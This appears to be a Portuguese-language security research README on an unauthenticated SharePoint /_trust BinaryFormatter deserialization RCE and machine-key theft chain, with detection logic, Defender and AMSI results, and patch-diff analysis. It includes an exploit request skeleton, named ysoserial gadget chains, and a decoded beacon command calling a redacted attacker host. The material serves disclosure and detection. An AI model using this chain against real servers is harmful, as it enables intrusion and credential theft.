
PoC, IOCs, and detection logic for the SharePoint /_trust WS-Federation BinaryFormatter deserialization chain. Lab reconstruction covering unauthenticated RCE, in-process machine key theft, and the artifacts each variant leaves behind. SharePoint 2016, 2019, and Subscription Edition. CVE-2026-50522, CVE-2026-45659, CVE-2026-56164, CVE-2026-58644.
/_trust do SharePoint: PoC e notas de detecçãoArtigo ao vivo (GitHub Pages): https://sp-poc.wismansec.com/ (renderização HTML deste documento).
Afetados: SharePoint Server 2016, 2019 e Subscription Edition.
Reconstrução de uma intrusão em um SharePoint Server (Subscription Edition) em laboratório isolado, criada para (a) entender a capacidade total do invasor, (b) determinar o que um defensor deve procurar, incluindo persistência furtiva, e (c) compartilhar um PoC para auxiliar outros investigadores.
Somente pesquisa autorizada. Tudo aqui foi executado em hardware e contas de laboratório isolados e de propriedade pessoal, contra um build deliberadamente deixado sem patch para o teste. O problema subjacente é corrigido pelo fornecedor; aplique as atualizações atuais. Não execute isso contra sistemas que você não possui nem tem autorização explícita para testar. Valores de machine keys, hostnames/IPs internos e domínios de callback estão redigidos no texto e nos artefatos de exemplo. As capturas de tela do SIEM não foram modificadas e contêm os nomes reais do laboratório; veja a nota na §4.
/_trust SecurityContextTokenPOST /_trust/default.aspx não autenticado (sign-in WS-Federation) carregando um SecurityContextToken malicioso dispara a desserialização BinaryFormatter no worker do SharePoint (w3wp.exe), resultando em execução remota de código como a identidade do pool do aplicativo web./_trust a detecta e bloqueia; veja §5). Essas chaves permitem que um invasor forje tokens __VIEWSTATE/de autenticação que sobrevivem ao patch./_trust, que é o único artefato presente em todas as variantes.O SharePoint expõe um endpoint de sign-in passivo WS-Federation em /_trust/default.aspx. Uma resposta de sign-in manipulada (wa=wsignin1.0 + wresult=<RequestSecurityTokenResponse>) incorpora um SecurityContextToken cujo elemento <Cookie> é um fluxo BinaryFormatter compactado em DEFLATE e codificado em base64. No servidor, esse cookie é descompactado e desserializado sem restrição de tipo, de modo que uma cadeia de gadgets (via ysoserial.net) executa código controlado pelo invasor dentro do w3wp.exe.
Esqueleto da requisição (não autenticada):
POST /_trust/default.aspx HTTP/1.1
Content-Type: application/x-www-form-urlencoded
wa=wsignin1.0&wctx=<url>&wresult=<RequestSecurityTokenResponse>...
<SecurityContextToken><Cookie>BASE64(DEFLATE(BinaryFormatter payload))</Cookie>...
Scripts (saneados) em scripts/: um RCE OOB parametrizado e o key-dump em dois estágios. A entrega do payload usa PowerShell -EncodedCommand para que payloads com múltiplas instruções atravessem intactos as camadas cmd.exe/transporte (sem quebra de aspas por ;/&&).
Farm único de SharePoint SE (build fixado antes da correção), identidade do app pool LAB\sp_pool, PowerShell 5.1, Microsoft Defender ativado com proteção de nuvem. A telemetria (Windows Event Log, logs do SharePoint, Defender for Endpoint) era enviada para nano, um SIEM open-source leve; o host do invasor executava ysoserial.net; um cliente interactsh fornecia o listener OOB. Endereços e domínios estão redigidos no texto; veja a nota das capturas de tela na §4.
Cada linha é uma detonação real; artefatos coletados do SIEM + listener OOB por execução.
As capturas de tela não foram modificadas. Elas contêm os nomes reais de host e NetBIOS do laboratório, que são crus e diferem do
SHAREPOINT01/LABsaneados usados ao longo do texto. Mesmas execuções, mesmos eventos, nada encenado. Equivalentes seguros para o trabalho emartifacts/.
Esses resultados são para a configuração AMSI padrão (modo Balanced, /_trust não varrido). Com a varredura AMSI do corpo da requisição de /_trust habilitada (modo Full ou direcionado), cada linha é, em vez disso, bloqueada na camada de requisição: HTTP 400, Exploit:Script/SpCookieExec.A, antes da execução (veja §5).

Todas as quatro detonações documentadas, das 15:01 às 15:18 UTC, com todos os filhos de w3wp.exe executando como identidade do pool. Três das quatro são powershell.exe gerados diretamente. Somente a execução das 15:03:34 passa por cmd.exe, e somente essa execução foi detectada. Ao ampliar a janela para além desta, iterações de desenvolvimento anteriores da mesma manhã entram no conjunto de resultados; portanto, a afirmação se limita a essas quatro execuções.

Invocação padrão: w3wp.exe → cmd.exe → powershell.exe, com conhost.exe ao lado. É nessa forma que o Behavior:Win32/WebshellLauncher.A se baseia.

Invocação -RawCmd, mesma primitiva e mesmo payload, com o salto cmd.exe removido. O Defender não produziu nada para esta execução. Uma detecção construída sobre w3wp → cmd não a detecta de forma alguma.

Cada evento do Defender na mesma janela de 25 minutos que continha quatro detonações. Os três pertencem à única execução com cmd.exe: dois malware_detected em Severe, depois malware_action_taken com ação Remove. A remediação não venceu o beacon, que foi concluído primeiro.
Linha de comando-chave recuperada na íntegra do Security 4688 (encoding ≠ evasão):
"C:\Windows\System32\cmd.exe" /c powershell.exe -NoProfile -NonInteractive -EncodedCommand <base64>
→ decodes to: iwr -UseBasicParsing 'http://<attacker-oast>/c'

A linha de comando codificada como aparece no SIEM. É base64 de UTF-16LE e nada mais; base64 -d | iconv -f utf-16le -t utf-8 recupera o callback em uma única etapa. Encoding não é ofuscação.
As duas imagens abaixo cobrem a mesma janela de 90 segundos na qual as machine keys do farm foram roubadas.

Sem filtros, a janela contém 20 eventos. O host está ativo e enviando telemetria.

Filtrada para filhos de w3wp.exe, a mesma janela fica vazia. Nenhum processo, nenhum evento do Defender, nenhum beacon. As chaves saíram pela resposta HTTP, e o único artefato do lado do host era a própria requisição /_trust, que este SIEM não estava coletando. Aplicar patch não revoga chaves roubadas; rotacione-as.
Divulgação -Diag capturada no listener OOB (decodificada da URL):
{ "host": "SHAREPOINT01", "who": "LAB\\sp_pool", "v": "5.1.20348.558", "lm": "FullLanguage" }
A única assinatura presente em todas as variantes. Procure por ela primeiro:
POST /_trust/default.aspx com corpo wa=wsignin1.0 e um wresult contendo RequestSecurityTokenResponse + SecurityContextToken/<Cookie>. Não autenticado, frequentemente com User-Agent anômalo. Linha de base do status de resposta: o tráfego legítimo de sign-in WS-Federation para esse endpoint é predominantemente HTTP 302; o exploit retorna outros status (200, 500, um reset de conexão ou 400 quando o AMSI bloqueia). Onde o endpoint tem volume real de sign-in, trate uma resposta não-302 ao POST /_trust/default.aspx como anômala. O status sozinho não confirma o sucesso do exploit; uma execução bem-sucedida retornou tanto 200 quanto um reset.Baseado em processos (somente variantes de RCE):
w3wp.exe gerando cmd.exe ou powershell.exe diretamente. A variante -RawCmd remove o salto cmd.exe e evade o WebshellLauncher.A; portanto, não se baseie apenas em w3wp→cmd.powershell.exe -EncodedCommand sob w3wp: decodifique o blob direto do 4688 (ele não é ofuscado em repouso).w3wp.exe → whoami.exe (reconhecimento) ou filho conhost.exe.Duas descobertas que afetam as decisões de resposta:
Behavior:Win32/WebshellLauncher.A e a remediou, observou-se que o beacon de saída foi concluído antes do fim da remediação em pelo menos uma execução. Trate tal detecção como um possível callback bem-sucedido e revise os logs de DNS, proxy e saída procurando o destino do callback em torno do horário da detecção.w3wp.exe e retorna as chaves na resposta HTTP; portanto, a única evidência do lado do host é a requisição POST /_trust/default.aspx e sua resposta. Se ela é detectada depende da configuração da varredura AMSI do corpo da requisição.MITRE ATT&CK: T1190 (explorar aplicação exposta publicamente) · T1059.001 (PowerShell) · T1552 (credenciais não protegidas: machine keys) · T1550 (uso de material de autenticação forjado, pós-roubo).
Ambas as cadeias entregam seu payload no corpo da requisição POST /_trust/default.aspx. Se o Microsoft Defender inspeciona esse payload é determinado pela configuração de varredura AMSI do corpo da requisição do SharePoint para o aplicativo web. Três configurações foram testadas diretamente contra este farm (SharePoint Server Subscription Edition, Microsoft Defender):
| Configuração AMSI do corpo da requisição | Resultado |
|---|---|
Modo Balanced, /_trust/default.aspx fora da lista de endpoints direcionados (padrão) | corpo da requisição não varrido; ambas as cadeias executam; nenhuma detecção do Defender |
| Modo Balanced, adicionado como endpoint direcionado |
Na configuração padrão, o corpo da requisição não é inspecionado; portanto, tanto o RCE quanto a divulgação de machine keys são concluídos sem produzir detecção AMSI. Em qualquer uma das configurações de varredura, a requisição é rejeitada com HTTP 400 antes da desserialização, nenhum processo worker é criado e o Defender registra:
| Campo | Valor |
|---|
Como a requisição é bloqueada antes que qualquer código execute, nenhum processo filho é criado e nenhum evento Security 4688 de criação de processo é produzido para nenhuma das cadeias. A variante de RCE que gera powershell.exe diretamente (sem um cmd.exe intermediário) é bloqueada de forma idêntica.
Configuração (SharePoint Management Shell, por aplicativo web):
$wa = Get-SPWebApplication https://<webapp>
$wa.AMSIBodyScanMode = 2 # Full: scan all endpoints
# or keep Balanced mode and scan this endpoint only:
$wa.AddAMSITargetedEndpoints('/_trust/default.aspx', 1)
$wa.Update(); iisreset
Set-SPMachineKey / atualize o machineKey no web.config + IISReset) em qualquer farm potencialmente atingido. O patch interrompe o RCE, mas não revoga chaves já roubadas; a rotação remove a capacidade do invasor de forjar FedAuth / SecurityContextToken / __VIEWSTATE para persistência.POST /_trust/default.aspx. O sign-in legítimo WS-Federation também visa esse endpoint com wa=wsignin1.0; portanto, baseie-se na estrutura específica do exploit, não apenas no endpoint: um wresult cujo token é um <SecurityContextToken> com um <Cookie> base64 (namespace http://schemas.microsoft.com/ws/2006/05/security; o sign-in legítimo, em vez disso, carrega uma asserção SAML assinada), juntamente com uma resposta não-302 (200/500/400 ou um reset) e um User-Agent automatizado/anômalo. O key-dump envia dois desses POSTs em rápida sucessão. Se estiver presente, assuma o comprometimento das chaves.A análise estática da correção do fornecedor confirma o mecanismo e resolve se o RCE precisa das machine keys roubadas: não precisa. Método: patch-diff binário de Microsoft.SharePoint.IdentityModel.dll entre a CU de junho (KB5002873, 16.0.19725.20384) e a CU de julho (KB5002882, 16.0.19725.20434); descompilado e comparado, somente leitura.
O caminho de leitura explorado é SPFederationAuthenticationModuleV2.OnAuthenticateRequest → SPSessionSecurityTokenHandlerV2 (uma subclasse de System.IdentityModel.Tokens.SessionSecurityTokenHandler). A mudança:
Interpretação. A cadeia de transformação anterior ao patch era somente deflate, sem criptografia e sem transformação de MAC/assinatura baseada na machine key. O ReadToken da base aplica as transformações e desserializa o valor do cookie; portanto, um token forjado é inflado e desserializado sem nenhuma barreira de validação de machine key; o gadget dispara sem o ValidationKey/DecryptionKey (independente de chave). A correção remove o sink (a transformação e o ReadToken lançam exceção) em vez de adicionar uma verificação de assinatura/decripção, confirmando que não havia barreira de chave a ser corrigida.
Consequência. A divulgação de machine keys é um objetivo de persistência separado (forjar FedAuth / SecurityContextToken / __VIEWSTATE), não um pré-requisito para o RCE; o key-dump é, em si, um RCE pelo mesmo caminho e é executado antes que qualquer chave seja roubada.
Um segundo endurecimento, não relacionado, acompanha a mesma CU de julho: validação de assinatura de actor token JWT em SPJsonWebSecurityTokenHandlerV2 (RequireSignedTokens false→true, novo VerifyActorTokenSignature) — um caminho distinto de actor token OAuth / servidor-para-servidor, não o caminho de session token WS-Federation abordado aqui.
Aplicando a correção. A correção é a CU de julho (KB5002882): ela troca a transformação de cookie somente deflate por uma que lança exceção, removendo o sink. Após instalá-la, confirme que nenhuma configuração do farm a reverte ou a contorna. SessionCookieTransformProtectionEnabled definido como false reverte o cookie de session token para a transformação vulnerável somente deflate (reabrindo o RCE e o key-dump), e o flag de debug DisableActorTokenSignatureValidation reabre o bypass separado de assinatura de actor token JWT endurecido na mesma atualização.
README.md – this document
scripts/ – sanitized PoC scripts (OOB RCE + machine-key dump)
detection/ – hunt queries / IOC list
artifacts/ – redacted example artifacts (process trees, Defender events, beacons)
LICENSE, DISCLAIMER.md
| Cadeia | Gadget | Efeito | Canal de saída |
|---|
| RCE OOB | TypeConfuseDelegate → PowerShell -EncodedCommand | execução de código como identidade do pool | out-of-band (beacon HTTP/DNS) |
| Divulgação de machine keys | ActivitySurrogateDisableTypeCheck → ActivitySurrogateSelectorFromFile (compila KeyDump.cs in-process) | extrai ValidationKey/DecryptionKey | inline na resposta HTTP |
| Invocação | Árvore de processos (como LAB\sp_pool, Alta) | Defender | Beacon OOB | Artefatos principais |
|---|
| RCE OOB, padrão | w3wp.exe → cmd.exe → powershell.exe → conhost.exe | Behavior:Win32/WebshellLauncher.A (EID 1116 detect / 1117 Remove) | chegou (corrida) | árvore 4688; Defender 1116/1117; POST /_trust |
RCE OOB, -RawCmd | w3wp.exe → powershell.exe → conhost.exe (sem cmd) | nenhum | chegou (DNS+HTTP) | árvore 4688; POST /_trust; beacon |
RCE OOB, -DropFile | w3wp.exe → powershell.exe | nenhum | chegou | gravação de arquivo em …\TEMPLATE\LAYOUTS\ (não está no log auditado de acesso a objetos) |
RCE OOB, -Diag | w3wp.exe → powershell.exe → whoami.exe | nenhum | chegou | exfiltração de divulgação do ambiente: {host, whoami, PSver, LanguageMode} |
| Key-dump | (nenhum, in-process) | nenhum | (nenhum) | apenas o POST /_trust + resposta anômala carregando as chaves |
/_trust/default.aspx| corpo da requisição varrido; requisição bloqueada |
| Modo Full (todos os endpoints varridos) | corpo da requisição varrido; requisição bloqueada |
| Ameaça | Exploit:Script/SpCookieExec.A (ID 2147969862) |
| Severidade / categoria | Severe / Exploit |
| Fonte da detecção | AMSI |
| Ação | Quarantine |
| Processo | C:\Windows\System32\inetsrv\w3wp.exe |
__VIEWSTATE forjado / autenticação anômala após a data do primeiro avistamento./_trust (modo Full, ou adicione /_trust/default.aspx como endpoint direcionado no Balanced; veja §5). Isso bloqueia tanto o RCE quanto o key-dump na camada de requisição, antes da execução.| Junho (vulnerável) | Julho (corrigido) |
|---|
| Cadeia de transformação do cookie | s_Transforms = { new DeflateCookieTransform() } (somente deflate) | s_Transforms = { new NotSupportedCookieTransform() } (Decode/Encode lançam exceção) |
Overrides de ReadToken | nenhum (herda o ReadToken da base) | ReadToken(XmlReader, SecurityTokenResolver), ReadToken(XmlReader), ReadToken(string) — todos lançam NotSupportedException |